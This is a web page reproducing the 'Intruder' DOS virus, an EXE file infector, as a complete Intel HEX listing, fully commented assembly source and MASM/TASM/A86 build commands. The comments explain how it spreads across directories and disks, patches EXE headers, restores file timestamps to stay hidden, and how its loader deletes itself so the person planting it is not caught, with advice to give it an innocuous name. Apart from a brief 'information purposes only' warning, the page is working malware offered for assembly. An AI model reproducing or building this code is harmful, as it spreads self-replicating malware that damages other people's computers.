Subscribe For Free Updates!

We'll not spam mate! We promise.

0

WARNING! The INTRUDER virus replicates without any notice or clue as to where it is going. It is an extremely contagious virus which will infect your computer, and other computers, if you execute it. Only the most sophisticated computer users should even contemplate assembling the following code. IT IS PROVIDED
HERE FOR INFORMATION PURPOSES ONLY. ASSEMBLE IT AT YOUR OWN RISK!!
The Intel HEX listing for the Intruder virus is as follows:
:100000004D5A47000500020020001100FFFF650067
:100010000001259E0C0112001E00000001003401A9
:100020001200480112000000000000000000000063
:1000300000000000000000000000000000000000C0
:1000400000000000000000000000000000000000B0
:1000500000000000000000000000000000000000A0
:100060000000000000000000000000000000000090
:100070000000000000000000000000000000000080
:100080000000000000000000000000000000000070
:100090000000000000000000000000000000000060
:1000A0000000000000000000000000000000000050
:1000B0000000000000000000000000000000000040
:1000C0000000000000000000000000000000000030
:1000D0000000000000000000000000000000000020
:1000E0000000000000000000000000000000000010
:1000F0000000000000000000000000000000000000
:1001000000000000000000000000000000000000EF
:1001100000000000000000000000000000000000DF
:1001200000000000000000000000000000000000CF
:1001300000000000000000000000000000000000BF
:1001400000000000000000000000000000000000AF :10015000000000000000000000000000000000009F
:10016000000000000000000000000000000000008F
:10017000000000000000000000000000000000007F
:10018000000000000000000000000000000000006F
:10019000000000000000000000000000000000005F
:1001A000000000000000000000000000000000004F
:1001B000000000000000000000000000000000003F
:1001C000000000000000000000000000000000002F
:1001D000000000000000000000000000000000001F
:1001E000000000000000000000000000000000000F
:1001F00000000000000000000000000000000000FF
:10020000494E5452554445522E455845008CC88E8F
:10021000D8BA0000B441CD21B44CB000CD210000CB
:1002200000000000000000000000000000000000CE
:1002300000000000000000000000000000000000BE
:1002400000000000000000000000000000000000AE
:10025000000000000000000000000000000000009E
:10026000000000000000000000000000000000008E
:10027000000000000000000000000000000000007E
:10028000000000000000000000000000000000006E
:10029000000000000000000000000000000000005E
:1002A000000000000000000000000000000000004E
:1002B000000000000000000000000000000000003E
:1002C000000000000000000000000000000000002E
:1002D000000000000000000000000000000000001E
:1002E000000000000000000000000000000000000E
:1002F00000000000000000000000000000000000FE
:1003000000000000000000000000000000000000ED
:1003100000000000000000000000000000000000DD
:10032000AAC800000000000000000000000000005B
:1003300000000000000000000000000000000000BD
:1003400000000000000000000000000000000000AD
:10035000000000000000000000000000000000009D
:10036000000000000000000000000000000000008D
:10037000000000000000000000000000000000007D
:10038000000000000000000000000000000000006D
:10039000000000000000000000000000000000005D
:1003A000000000000000000000000000000000004D
:1003B000000000000000000000000000000000003D
:1003C0000000005C2A2E455845005C2A2E2A0000B9
:1003D000000000000000000000000000000000001D
:1003E000000000000000000000000000000000000D
:1003F00000000000000000000000000000000000FD
:1004000000000000000000000000000000000000EC
:1004100000000000000000000000000000000000DC
:10042000000000000000000000000001508CC88E99
:10043000D88CC0A30400E867037518E86B03E86E66
:1004400003E826007509E89103E8E401E8CE03E833
:10045000760358BB0200FA8ED3BC00018E0604005E
:100460008E1E0400FBEA0D000000B05CA2AF00BECF
:10047000B00032D2B447CD21803EB00000750532C5
:10048000C0A2AF00B002A2FD00E81000740D32C09F :10049000A2AF00FEC0A2FD00E80100C3E851007356
:1004A0004C803EFD0000743FFE0EFD00BFAF00BE5D
:1004B000AA00E8BB004757E8760075235F32C0AA60
:1004C000BFAF00BB4F00A0FD00B22BF6E203D88BFC
:1004D000F3E89C0057E8C4FF7412E8760074DDFE70
:1004E00006FD005F32C0AAB0010AC0C35F32C0C3BC
:1004F000BA0600B41ACD21BFAF00BEA300E8700059
:1005000057BAAF00B93F00B44ECD210AC075195F8C
:1005100047AABFAF00BE2400E855004F57E863006C
:10052000730CB44FCD21EBE35FC60500F9C35FC385
:10053000E8310052B41ACD21BAAF00B91000B44E60
:10054000CD215B0AC0751CF64715107406807F1E0E
:100550002E750EE80E0052B41ACD21B44FCD21EB0A
:10056000E132C0C3BA3100B02BF626FD0003D0C380
:10057000268A05470AC075F84F57FCACAA0AC07511
:10058000F95FC3E82300720DE80B007208E833003E
:100590007203E84500C3B04DB45A3B0687007402AD
:1005A000F9C333C02B06A100C3BAAF00B8023DCDDA
:1005B00021720FA3FE008BD8B91C00BA8700B43F8C
:1005C000CD21C3A18F0003C003C02B068D0003C043
:1005D00003C02B069F003D0800C3A19D0003068FAA
:1005E00000BA1000F7E28BCA8BD08B1EFE00B80059
:1005F00042CD21B43F8B1EFE00BA0901B90200CDE5
:1006000021720BA109013B060000F87501F9C3A096
:100610000501240F7419B910002AC8BA2705010E64
:10062000050183160701008B1EFE00B440CD21C3D7
:100630008B0E07018B1605018B1EFE00B80042CD04
:1006400021E8CBFFB9270533D28B1EFE00B440CD85
:10065000218B1605018B0E0701BB33014303D3BB6E
:10066000000013CB8B1EFE00B80042CD21BA9500CE
:100670008B1EFE00B90200B440CD218B1605018B04
:100680000E0701BB39014303D3BB000013CB8B1E04
:10069000FE00B80042CD21BA97008B1EFE00B902C1
:1006A00000B440CD218B1605018B0E0701BB45011F
:1006B00083C30103D3BB000013CB8B1EFE00B80025
:1006C00042CD21BA9B008B1EFE00B90400B440CD80
:1006D0002133C933D28B1EFE00B80042CD21A105C3
:1006E00001B104D3E88B1E070180E30FB104D2E30C
:1006F00002E32B068F00A39D00BB270583C310B127
:1007000004D3EB03C3A39500B80C01A39B00B8006E
:1007100001A397008B160701A10501BB270503C3A1
:1007200033DB13D305000213D350B109D3E8B1076B
:10073000D3E203C2A38B005825FF01A38900B802AE
:100740000001068D00B91C00BA87008B1EFE00B4A4
:1007500040CD21A18D004848BB0400F7E303069F6C
:1007600000BB000013D38BCA8BD08B1EFE00B800D9
:1007700042CD21A19D00BB330143891E8700A3897F
:1007800000A19D00BB450183C303891E8B00A38D7F
:1007900000B90800BA87008B1EFE00B440CD21C30B
:1007A00032E4C3CD1A80E200C3B090A28204C3B485
:1007B0002FCD21891E02008CC0A304008CC88EC0DE
:1007C000BA0600B41ACD21C38B160200A104008E14 :1007D000D8B41ACD218CC88ED8C3B443B000BAAFF8
:1007E00000CD21880E0001B443B001BAAF00B100C2
:1007F000CD21BAAF00B002B43DCD21A3FE00B45765
:1008000032C08B1EFE00CD21890E01018916030125
:10081000A12200A30701A12000A30501C38B160399
:10082000018B0E0101B457B0018B1EFE00CD21B427
:100830003E8B1EFE00CD218A0E000132EDB443B086
:0708400001BAAF00CD21C396
:00000001FF
The assembly language listing of the Intruder virus follows:
;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program, ;so that the host executes without a hint that the virus is there.
       .SEQ                       ;segments must appear in sequential order
                                  ;to simulate conditions in active virus
;MGROUP  GROUP   HOSTSEG,HSTACK     ;Host segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a ;trace. You might want to name the program something more innocuous, though.
HOSTSEG SEGMENT BYTE
       ASSUME  CS:HOSTSEG,SS:HSTACK PGMSTR  DB ’INTRUDER.EXE’,0
HOST:         mov     ax,cs           ;we want DS=CS here         mov     ds,ax         mov     dx,OFFSET PGMSTR         mov     ah,41H         int     21H             ;delete this exe file         mov     ah,4CH         mov     al,0
       int     21H             ;terminate normally HOSTSEG ENDS
;Host program stack segment
HSTACK  SEGMENT PARA STACK
       db  100H dup (?)        ;100 bytes long HSTACK  ENDS
;************************************************************************
;This is the virus itself
STACKSIZE       EQU     100H           ;size of stack for the virus
NUMRELS         EQU     2              ;number of relocatables in the virus,
                                      ;these go in relocatable pointer table
;VGROUP  GROUP   VSEG,VSTACK    ;Virus code and stack segments grouped together ;Intruder Virus code segment. This gains control first, before the host. As
;this ASM file is layed out, this program will look exactly like a simple ;program that was infected by the virus.
VSEG    SEGMENT PARA
       ASSUME  CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW      0C8AAH                ;identifies virus
OLDDTA  DD      0                     ;old DTA segment and offset
DTA1    DB      2BH dup (?)           ;new disk transfer area
DTA2    DB      56H dup (?)           ;dta for directory finds (2 deep)
EXE_HDR DB      1CH dup (?)           ;buffer for EXE file header
EXEFILE DB      ’\*.EXE’,0            ;search string for an exe file
ALLFILE DB      ’\*.*’,0              ;search string for any file
USEFILE DB      78 dup (?)            ;area to put valid file path
LEVEL   DB      0                     ;depth to search directories for a file
HANDLE  DW      0                     ;file handle
FATTR   DB      0                     ;old file attribute storage area
FTIME   DW      0                     ;old file time stamp storage area
FDATE   DW      0                     ;old file date stamp storage area
FSIZE   DD      0                     ;file size storage area
VIDC    DW      0                     ;storage area to put VIRUSID from new
                                     ;host in, to see if virus already there
VCODE   DB      1                     ;identifies this version
;**************************************************************************
;Intruder virus main routine starts here VIRUS:
       push    ax         mov     ax,cs         mov     ds,ax           ;set up DS=CS for the virus         mov     ax,es           ;get PSP Seg         mov     WORD PTR [OLDDTA+2],ax   ;set up default DTA Seg=PSP Seg         call    SHOULDRUN       ;run only when this returns with z set         jnz     REL1            ;not ok to run, go execute host program         call    SETSR           ;modify SHOULDRUN for next copy of the virus         call    NEW_DTA         ;set up a new DTA location         call    FIND_FILE       ;get an exe file to attack         jnz     FINISH          ;returned nz - no valid file, exit         call    SAVE_ATTRIBUTE  ;save the file attr’s and leave file open         call    INFECT          ;move program code to file we found to attack         call    REST_ATTRIBUTE  ;restore original file attr’s and close file FINISH: call    RESTORE_DTA     ;restore DTA to its original value at startup         pop     ax REL1:                           ;relocatable marker for host stack segment         mov     ax,HSTACK       ;set up host program stack segment (ax=segment)         cli                     ;interrupts off while changing stack         mov     ss,ax REL1A:                          ;marker for host stack pointer         mov     sp,OFFSET HSTACK         mov     es,WORD PTR [OLDDTA+2]  ;set up ES correctly         mov     ds,WORD PTR [OLDDTA+2]  ;and DS         sti                     ;interrupts back on REL2:                           ;relocatable marker for host code segment         jmp     FAR PTR HOST    ;begin execution of host program
;**************************************************************************
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS ;functions 4EH and 4FH) on each level. This returns with Z set if a valid ;file is found.
;
FIND_FILE:         mov     al,’\’                  ;set up current dir path in USEFILE         mov     BYTE PTR [USEFILE],al         mov     si,OFFSET USEFILE+1         xor     dl,dl         mov     ah,47H         int     21H                     ;get current dir, USEFILE= \dir         cmp     BYTE PTR [USEFILE+1],0  ;see if it is null. If so, its the root         jnz     FF2                     ;not the root         xor     al,al                   ;make correction for root directory,         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE = ’’ FF2:    mov     al,2         mov     [LEVEL],al              ;search 2 subdirs deep         call    FINDBR                  ;attempt to locate a valid file         jz      FF3                     ;found one - exit         xor     al,al                   ;nope - try the root directory         mov     BYTE PTR [USEFILE],al   ;by setting USEFILE= ’’         inc     al                      ;al=1         mov     [LEVEL],al              ;search one subdir deep         call    FINDBR                  ;attempt to find file FF3:         ret                             ;exit with z set by FINDBR
;**************************************************************************
;Second Level - Find in a branch
; ;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset,
;this routine exits with Z set and leaves the file and path in USEFILE
; FINDBR:         call    FINDEXE         ;search current dir for EXE first         jnc     FBE3            ;found it - exit         cmp     [LEVEL],0       ;no-do we want to go another directory deeper?
       jz      FBE1            ;no-exit         dec     [LEVEL]         ;yes-decrement LEVEL and continue         mov     di,OFFSET USEFILE       ;’\curr_dir’ is here         mov     si,OFFSET ALLFILE       ;’\*.*’ is here         call    CONCAT          ;get ’\curr_dir\*.*’ in USEFILE         inc     di         push    di              ;store pointer to first *         call    FIRSTDIR        ;get first subdirectory         jnz     FBE             ;couldn’t find it, so quit FB1:                            ;otherwise, check it out         pop     di              ;strip \*.* off of USEFILE         xor     al,al         stosb         mov     di,OFFSET USEFILE         mov     bx,OFFSET DTA2+1EH         mov     al,[LEVEL]         mov     dl,2BH          ;compute correct DTA location for subdir name         mul     dl              ;which depends on the depth we’re at in search         add     bx,ax           ;bx points to directory name         mov     si,bx         call    CONCAT          ;’\curr_dir\sub_dir’ put in USEFILE         push    di              ;save position of first letter in sub_dir name         call    FINDBR          ;scan the subdirectory and its subdirectories         jz      FBE2            ;if successful, exit         call    NEXTDIR         ;get next subdirectory in this directory         jz      FB1             ;go check it if search successful FBE:                            ;else exit, NZ set, cleaned up         inc     [LEVEL]         ;increment the level counter before exit         pop     di              ;strip any path or file spec off of original         xor     al,al           ;directory path         stosb FBE1:   mov     al,1            ;return with NZ set         or      al,al         ret
FBE2:   pop     di              ;successful exit, pull this off the stack FBE3:   xor     al,al           ;and set Z         ret                     ;exit
;**************************************************************************
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will ;return with the c flag set. It will search a whole directory before giving up.
; FINDEXE:         mov     dx,OFFSET DTA1  ;set new DTA for EXE search         mov     ah,1AH         int     21H         mov     di,OFFSET USEFILE         mov     si,OFFSET EXEFILE         call    CONCAT          ;set up USEFILE with ’\dir\*.EXE’         push    di              ;save position of ’\’ before ’*.EXE’         mov     dx,OFFSET USEFILE         mov     cx,3FH          ;search first for any file         mov     ah,4EH         int     21H NEXTEXE:
       or      al,al           ;is DOS return OK?         jnz     FEC             ;no - quit with C set         pop     di         inc     di         stosb                   ;truncate ’\dir\*.EXE’ to ’\dir\’         mov     di,OFFSET USEFILE         mov     si,OFFSET DTA1+1EH         call    CONCAT          ;setup file name ’\dir\filename.exe’         dec     di         push    di         call    FILE_OK         ;yes - is this a good file to use?
       jnc     FENC            ;yes - valid file found - exit with c reset         mov     ah,4FH         int     21H             ;do find next
       jmp     SHORT NEXTEXE   ;and go test it for validity
FEC:                            ;no valid file found, return with C set         pop     di         mov     BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir         stc         ret FENC:                           ;valid file found, return with NC         pop     di         ret
;**************************************************************************
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and ;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and ;NEXTDIR, which does the search next.
; FIRSTDIR:
       call    GET_DTA         ;put proper DTA address in dx         push    dx              ;save it         mov     ah,1AH          ;set DTA         int     21H         mov     dx,OFFSET USEFILE
       mov     cx,10H          ;search for a directory         mov     ah,4EH          ;do search first function         int     21H
NEXTD1:         pop     bx              ;get pointer to search table (DTA)         or      al,al           ;successful search?         jnz     NEXTD3          ;no, quit with NZ set         test    BYTE PTR [bx+15H],10H    ;is this a directory?
       jz      NEXTDIR         ;no, find another         cmp     BYTE PTR [bx+1EH],’.’    ;is it a subdirectory header?         jne     NEXTD2          ;no-valid directory, exit, setting Z flag                                 ;else it was dir header entry, so fall through NEXTDIR:                        ;second entry point for search next         call    GET_DTA         ;get proper DTA address again-may not be set up         push    dx         mov     ah,1AH          ;set DTA         int     21H         mov     ah,4FH
       int     21H             ;do find next
       jmp     SHORT NEXTD1    ;and loop to check the validity of the return
NEXTD2:
       xor     al,al           ;successful exit, set Z flag NEXTD3:         ret                     ;exit routine
;**************************************************************************
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don’t want the higher level being ruined by ;corrupted data.
; GET_DTA:         mov     dx,OFFSET DTA2         mov     al,2BH         mul     [LEVEL]         add     dx,ax                   ;return with dx= proper dta offset         ret
;**************************************************************************
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the ;destination (or the first character of the second string, after moved).
; CONCAT:         mov     al,byte ptr es:[di]     ;find the end of string 1         inc     di         or      al,al         jnz     CONCAT         dec     di                      ;di points to the null at the end         push    di                      ;save it to return to the caller CONCAT2:         cld
       lodsb                           ;move second string to end of first         stosb         or      al,al         jnz     CONCAT2         pop     di                      ;and restore di to point         ret                             ;to end of string 1
;************************************************************************** ;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c ;What makes an EXE file useable?: ;              a) The signature field in the EXE header must be ’MZ’. (These
;                 are the first two bytes in the file.) ;              b) The Overlay Number field in the EXE header must be zero.
;              c) There must be room in the relocatable table for NUMRELS ;                 more relocatables without enlarging it.
;              d) The word VIRUSID must not appear in the 2 bytes just before
;                 the initial CS:0000 of the test file. If it does, the virus ;                 is probably already in that file, so we skip it.
; FILE_OK:         call    GET_EXE_HEADER         ;read EXE header in USEFILE into EXE_HDR         jc      OK_END                 ;error in reading the file, so quit         call    CHECK_SIG_OVERLAY      ;is the overlay number zero?
       jc      OK_END                 ;no - exit with c set         call    REL_ROOM               ;is there room in the relocatable table?
       jc      OK_END                 ;no - exit         call    IS_ID_THERE            ;is id at CS:0000? OK_END: ret                            ;return with c flag set properly
;**************************************************************************
;Returns c if signature in the EXE header is anything but ’MZ’ or the overlay ;number is anything but zero. CHECK_SIG_OVERLAY:         mov     al,’M’                  ;check the signature first         mov     ah,’Z’         cmp     ax,WORD PTR [EXE_HDR]         jz      CSO_1                   ;jump if OK         stc                             ;else set carry and exit         ret CSO_1:  xor     ax,ax         sub     ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0         ret                             ;c is set if it’s anything but 0
;************************************************************************** ;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
; GET_EXE_HEADER:         mov     dx,OFFSET USEFILE         mov     ax,3D02H                ;r/w access open file         int     21H         jc      RE_RET                  ;error opening - quit without closing         mov     [HANDLE],ax             ;else save file handle         mov     bx,ax                   ;handle to bx         mov     cx,1CH                  ;read 28 byte EXE file header         mov     dx,OFFSET EXE_HDR       ;into this buffer         mov     ah,3FH         int     21H RE_RET: ret                             ;return with c set properly
;**************************************************************************
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
;    ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is = than 4 * NUMRELS. If it is, then there is enough room
; REL_ROOM:         mov     ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs         add     ax,ax         add     ax,ax         sub     ax,WORD PTR [EXE_HDR+6] ;number of relocatables         add     ax,ax         add     ax,ax         sub     ax,WORD PTR [EXE_HDR+24] ;start of relocatable table         cmp     ax,4*NUMRELS            ;enough room to put relocatables in? RR_RET: ret                             ;exit with carry set properly
;**************************************************************************
;This function determines whether the word at the initial CS:0000 in USEFILE ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise ;it returns c reset.
;
IS_ID_THERE:
       mov     ax,WORD PTR [EXE_HDR+22] ;Initial CS         add     ax,WORD PTR [EXE_HDR+8]  ;Header size         mov     dx,16         mul     dx         mov     cx,dx         mov     dx,ax               ;cx:dx = where to look for VIRUSID in file         mov     bx,[HANDLE]         mov     ax,4200H            ;set file pointer, relative to beginning         int     21H         mov     ah,3FH         mov     bx,[HANDLE]         mov     dx,OFFSET VIDC         mov     cx,2                ;read 2 bytes into VIDC         int     21H         jc      II_RET              ;error-report as though ID is there already         mov     ax,[VIDC]         cmp     ax,[VIRUSID]        ;is it the VIRUSID?
       clc         jnz     II_RET              ;if not, virus is not already in this file         stc                         ;else it is probably there already II_RET: ret
;**************************************************************************
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS, with IP=0. Assumes file pointer is at end ;of file. SETBDY:         mov     al,BYTE PTR [FSIZE]         and     al,0FH              ;see if we have a paragraph boundary         jz      SB_E                ;all set - exit         mov     cx,10H              ;no - write any old bytes to even it up         sub     cl,al               ;number of bytes to write in cx         mov     dx,OFFSET FINAL     ;set buffer up to point anywhere         add     WORD PTR [FSIZE],cx     ;update FSIZE         adc     WORD PTR [FSIZE+2],0         mov     bx,[HANDLE]         mov     ah,40H              ;DOS write function         int     21H SB_E:   ret
;**************************************************************************
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that.
; INFECT:
       mov     cx,WORD PTR [FSIZE+2]         mov     dx,WORD PTR [FSIZE]         mov     bx,[HANDLE]
       mov     ax,4200H                ;set file pointer, relative to start         int     21H                     ;go to end of file         call    SETBDY                  ;lengthen to pgrph bdry if necessary         mov     cx,OFFSET FINAL         ;last byte of code         xor     dx,dx                   ;first byte of code, DS:DX         mov     bx,[HANDLE]             ;move virus code to end of file being         mov     ah,40H                  ;attacked, using DOS write function         int     21H         mov     dx,WORD PTR [FSIZE]     ;find 1st relocatable in code (SS)         mov     cx,WORD PTR [FSIZE+2]
       mov     bx,OFFSET REL1          ;it is at FSIZE+REL1+1 in the file         inc     bx         add     dx,bx         mov     bx,0
       adc     cx,bx                   ;cx:dx is that number         mov     bx,[HANDLE]         mov     ax,4200H                ;set file pointer to 1st relocatable         int     21H         mov     dx,OFFSET EXE_HDR+14    ;get correct old SS for new program         mov     bx,[HANDLE]             ;from the EXE header         mov     cx,2         mov     ah,40H                  ;and write it to relocatable REL1+1         int     21H         mov     dx,WORD PTR [FSIZE]         mov     cx,WORD PTR [FSIZE+2]         mov     bx,OFFSET REL1A         ;put in correct old SP from EXE header         inc     bx                      ;at FSIZE+REL1A+1         add     dx,bx         mov     bx,0         adc     cx,bx                   ;cx:dx points to FSIZE+REL1A+1         mov     bx,[HANDLE]         mov     ax,4200H                ;set file ptr to place to write SP to         int     21H         mov     dx,OFFSET EXE_HDR+16    ;get correct old SP for infected pgm         mov     bx,[HANDLE]             ;from EXE header         mov     cx,2         mov     ah,40H                  ;and write it where it belongs         int     21H         mov     dx,WORD PTR [FSIZE]         mov     cx,WORD PTR [FSIZE+2]         mov     bx,OFFSET REL2          ;put in correct old CS:IP in program         add     bx,1                    ;at FSIZE+REL2+1 on disk         add     dx,bx         mov     bx,0         adc     cx,bx                   ;cx:dx points to FSIZE+REL2+1         mov     bx,[HANDLE]         mov     ax,4200H                ;set file ptr relavtive to beginning         int     21H         mov     dx,OFFSET EXE_HDR+20    ;get correct old CS:IP from EXE header         mov     bx,[HANDLE]         mov     cx,4         mov     ah,40H                  ;and write 4 bytes to FSIZE+REL2+1         int     21H                                         ;done writing relocatable vectors                                         ;so now adjust the EXE header values         xor     cx,cx         xor     dx,dx         mov     bx,[HANDLE]         mov     ax,4200H                ;set file pointer to start of file         int     21H         mov     ax,WORD PTR [FSIZE]     ;calculate new init CS (the virus’ CS)         mov     cl,4                    ;given by (FSIZE/16)-HEADER SIZE         shr     ax,cl                   ;(in paragraphs)         mov     bx,WORD PTR [FSIZE+2]         and     bl,0FH         mov     cl,4         shl     bl,cl         add     ah,bl         sub     ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)         mov     WORD PTR [EXE_HDR+22],ax;and save as initial CS         mov     bx,OFFSET FINAL         ;compute new initial SS         add     bx,10H                  ;using the formula         mov     cl,4                    ;SSi=(CSi + (OFFSET FINAL+16)/16)         shr     bx,cl         add     ax,bx         mov     WORD PTR [EXE_HDR+14],ax  ;and save it         mov     ax,OFFSET VIRUS           ;get initial IP         mov     WORD PTR [EXE_HDR+20],ax  ;and save it         mov     ax,STACKSIZE              ;get initial SP         mov     WORD PTR [EXE_HDR+16],ax  ;and save it         mov     dx,WORD PTR [FSIZE+2]
       mov     ax,WORD PTR [FSIZE]     ;calculate new file size         mov     bx,OFFSET FINAL         add     ax,bx         xor     bx,bx
       adc     dx,bx                   ;put it in ax:dx         add     ax,200H                 ;and set up the new page count         adc     dx,bx                   ;page ct= (ax:dx+512)/512         push    ax         mov     cl,9         shr     ax,cl         mov     cl,7         shl     dx,cl         add     ax,dx         mov     WORD PTR [EXE_HDR+4],ax ;and save it here         pop     ax         and     ax,1FFH                 ;now calculate last page size         mov     WORD PTR [EXE_HDR+2],ax ;and put it here         mov     ax,NUMRELS              ;adjust relocatables counter         add     WORD PTR [EXE_HDR+6],ax         mov     cx,1CH                  ;and save data at start of file         mov     dx,OFFSET EXE_HDR         mov     bx,[HANDLE]         mov     ah,40H                  ;DOS write function         int     21H         mov     ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table         dec     ax                      ;in order to calculate location of         dec     ax                      ;where to add relocatables         mov     bx,4                    ;Location=(No in tbl-2)*4+Table Offset         mul     bx         add     ax,WORD PTR [EXE_HDR+24];table offset         mov     bx,0         adc     dx,bx                   ;dx:ax=end of old table in file         mov     cx,dx         mov     dx,ax         mov     bx,[HANDLE]         mov     ax,4200H                ;set file pointer to table end         int     21H         mov     ax,WORD PTR [EXE_HDR+22];and set up 2 pointers:         mov     bx,OFFSET REL1          ;init CS = seg of REL1         inc     bx                      ;offset of REL1         mov     WORD PTR [EXE_HDR],bx   ;use EXE_HDR as a buffer to         mov     WORD PTR [EXE_HDR+2],ax ;save relocatables in for now         mov     ax,WORD PTR [EXE_HDR+22];init CS = seg of REL2         mov     bx,OFFSET REL2         add     bx,3                    ;offset of REL2         mov     WORD PTR [EXE_HDR+4],bx ;write it to buffer         mov     WORD PTR [EXE_HDR+6],ax         mov     cx,8                    ;and then write 8 bytes of data in file         mov     dx,OFFSET EXE_HDR         mov     bx,[HANDLE]         mov     ah,40H                  ;DOS write function         int     21H         ret                             ;that’s it, infection is complete!
;************************************************************************** ;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must ;be an even multiple of TIMECT+1.
; TIMECT  EQU     63              ;Determines how often to reproduce (1/64 here)
; SHOULDRUN:         xor     ah,ah           ;zero ax to start, set z flag SR1:    ret                     ;this gets replaced by NOP when program runs         int     1AH         and     dl,TIMECT       ;is it an even multiple of TIMECT+1 ticks?         ret                     ;return with z flag set if it is, else nz set ;**************************************************************************
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load SETSR:         mov     al,90H          ;NOP code         mov     BYTE PTR SR1,al ;put it in place of RET above         ret                     ;and return
;**************************************************************************
;This routine sets up the new DTA location at DTA1, and saves the location of ;the initial DTA in the variable OLDDTA. NEW_DTA:         mov     ah,2FH                  ;get current DTA in ES:BX         int     21H         mov     WORD PTR [OLDDTA],bx    ;save it here         mov     ax,es         mov     WORD PTR [OLDDTA+2],ax         mov     ax,cs         mov     es,ax                   ;set up ES         mov     dx,OFFSET DTA1          ;set new DTA offset         mov     ah,1AH         int     21H                     ;and tell DOS where we want it         ret
;**************************************************************************
;This routine reverses the action of NEW_DTA and restores the DTA to its ;original value. RESTORE_DTA:         mov     dx,WORD PTR [OLDDTA]    ;get original DTA seg:ofs         mov     ax,WORD PTR [OLDDTA+2]         mov     ds,ax         mov     ah,1AH         int     21H                     ;and tell DOS where to put it         mov     ax,cs                   ;restore ds before exiting         mov     ds,ax         ret
;**************************************************************************
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle ;it was opened under in HANDLE. The file path and name is in USEFILE. SAVE_ATTRIBUTE:         mov     ah,43H          ;get file attr         mov     al,0         mov     dx,OFFSET USEFILE         int     21H         mov     [FATTR],cl      ;save it here         mov     ah,43H          ;now set file attr to r/w         mov     al,1         mov     dx,OFFSET USEFILE         mov     cl,0         int     21H         mov     dx,OFFSET USEFILE         mov     al,2            ;now that we know it’s r/w         mov     ah,3DH          ;we can r/w access open file         int     21H         mov     [HANDLE],ax     ;save file handle here         mov     ah,57H          ;and get the file date and time         xor     al,al         mov     bx,[HANDLE]         int     21H         mov     [FTIME],cx      ;and save it here         mov     [FDATE],dx      ;and here
       mov     ax,WORD PTR [DTA1+28]   ;file size was set up here by         mov     WORD PTR [FSIZE+2],ax   ;search routine         mov     ax,WORD PTR [DTA1+26]   ;so move it to FSIZE
       mov     WORD PTR [FSIZE],ax         ret ;**************************************************************************
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file REST_ATTRIBUTE:         mov     dx,[FDATE]      ;get old date and time         mov     cx,[FTIME]         mov     ah,57H          ;set file date and time to old value         mov     al,1         mov     bx,[HANDLE]         int     21H         mov     ah,3EH         mov     bx,[HANDLE]     ;close file         int     21H         mov     cl,[FATTR]         xor     ch,ch
       mov     ah,43H          ;Set file attr to old value         mov     al,1         mov     dx,OFFSET USEFILE         int     21H         ret FINAL:                                  ;last byte of code to be kept in virus
VSEG    ENDS
;**************************************************************************
;Virus stack segment
VSTACK  SEGMENT PARA STACK         db STACKSIZE dup (?) VSTACK  ENDS
       END VIRUS               ;Entry point is the virus
To compile the INTRUDER virus using MASM, just type
masm intruder; link intruder;
If you use TASM instead, just substitute TASM for MASM in the above. If you use A86, compile as follows:
a86 intruder.asm intruder.obj link intruder;
Quite simple. You  end up with INTRUDER.EXE, which is an infected file.
